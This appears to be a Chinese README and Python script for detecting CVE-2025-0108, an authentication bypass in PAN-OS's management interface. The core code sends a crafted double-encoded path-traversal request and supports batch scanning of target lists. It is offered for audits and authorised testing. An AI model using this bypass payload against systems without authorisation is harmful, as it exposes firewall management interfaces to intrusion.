CVE-2025-0108漏洞检测工具
项目标题与描述
这是一个专门用于检测CVE-2025-0108漏洞的Python脚本。CVE-2025-0108是Palo Alto Networks PAN-OS管理Web界面中的一个身份验证绕过漏洞,可能影响系统的完整性和机密性。本工具旨在帮助安全研究人员和系统管理员快速识别受影响的系统,以便及时采取防护措施。
核心价值:自动化扫描、批量检测、结果日志记录。
功能特性
- 单URL扫描:通过命令行参数直接对单个目标URL进行漏洞检测。
- 批量URL扫描:从文本文件中读取URL列表,进行批量自动化扫描,提高效率。
- 双重日志记录:扫描结果同时输出到控制台和日志文件(
scan_results.log),便于跟踪和审计。 - 智能协议处理:自动尝试通过HTTP和HTTPS协议访问目标,确保覆盖不同的配置情况。
- 稳健的错误处理:优雅地处理网络连接超时、目标不可达等异常情况,避免脚本意外中断。
- 详细的报告输出:提供清晰的状态信息,包括目标URL、HTTP响应码以及是否易受攻击的判定。
- 安全扫描优化:脚本默认禁用SSL证书验证警告,并设置请求超时,适用于内部测试环境。
安装指南
系统要求
- Python 3.x 环境
依赖安装
本工具依赖Python的requests库。请使用pip进行安装:
pip install requests
获取工具
直接下载项目中的CVE-2025-0108.py脚本文件即可开始使用。
平台说明
本工具跨平台,可在Windows、Linux、macOS等任何安装了Python 3和requests库的系统上运行。
使用说明
基础使用示例
-
检查单个目标: 使用
-u或--url参数指定要测试的单个URL(无需包含协议头)。python3 CVE-2025-0108.py -u 192.168.1.1 -
批量检查多个目标: 使用
-f或--file参数指定一个文本文件,该文件应包含每行一个目标(IP或域名)。python3 CVE-2025-0108.py -f target_urls.txttarget_urls.txt文件内容示例:10.0.0.1 firewall.company.com 172.16.10.5
典型使用场景
- 内部安全审计:系统管理员在得到漏洞通告后,对内部所有Palo Alto防火墙管理地址进行快速排查。
- 渗透测试:安全人员在获得授权后,对客户网络中的设备进行漏洞验证。
- 应急响应:在漏洞被公开利用时,快速评估自身资产风险。
API概览
工具通过命令行参数调用,核心功能封装在以下两个函数中:
read_file(file_path): 读取并返回文件中的URL列表。check_vulnerability(url): 对指定URL执行漏洞检测逻辑。
核心代码
以下是项目中的关键代码片段及其注释。
import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging
# 禁用SSL验证警告,适用于测试环境
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# 配置日志:同时输出到控制台和文件
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
logging.StreamHandler(),
logging.FileHandler("scan_results.log")
])
def read_file(file_path):
"""从指定文件路径读取URL列表,每行一个URL。"""
try:
with open(file_path, 'r') as file:
return file.read().splitlines()
except Exception as e:
logging.error(f"读取文件 {file_path} 时出错: {e}")
return []
def check_vulnerability(url):
"""
检查给定URL是否受CVE-2025-0108漏洞影响。
漏洞判定标准:访问特定路径,响应状态码为200且包含'Zero Touch Provisioning'关键词。
"""
protocols = ['http://', 'https://']
target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"
for protocol in protocols:
# 拼接完整的请求URL
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
}
try:
# 发起HTTP GET请求,忽略SSL证书验证
response = requests.get(target_url, verify=False, headers=headers, timeout=10)
# 核心检测逻辑
if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
message = f"存在漏洞: {url} - CVE-2025-0108 身份验证绕过漏洞!"
logging.info(message)
return True
else:
logging.debug(f"未发现漏洞: {url} - 响应码: {response.status_code}")
except requests.exceptions.RequestException as e:
logging.warning(f"连接到 {url} 时出错: {e}")
return False
if __name__ == "__main__":
# 设置命令行参数解析器
parser = argparse.ArgumentParser(description="检查CVE-2025-0108漏洞(身份验证绕过)。")
parser.add_argument("-u", "--url", help="要检查的单个URL")
parser.add_argument("-f", "--file", help="包含待检查URL列表的文件")
args = parser.parse_args()
url = args.url
file = args.file
# 根据输入参数调用相应的检测模式
if url:
check_vulnerability(url)
elif file:
urls = read_file(file)
if urls:
for u in urls:
check_vulnerability(u)
else:
logging.error("文件中未找到URL。")
else:
# 未提供参数时显示用法
logging.error("请提供一个URL或包含URL列表的文件。")
logging.info("用法: python3 CVE-2025-0108.py -u <URL> 或 python3 CVE-2025-0108.py -f <文件>")
# 显示作者信息
logging.info("\n作者: Black Ash - B1ack4ash")
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5xkTKRHNcx+dt4/7peJ11O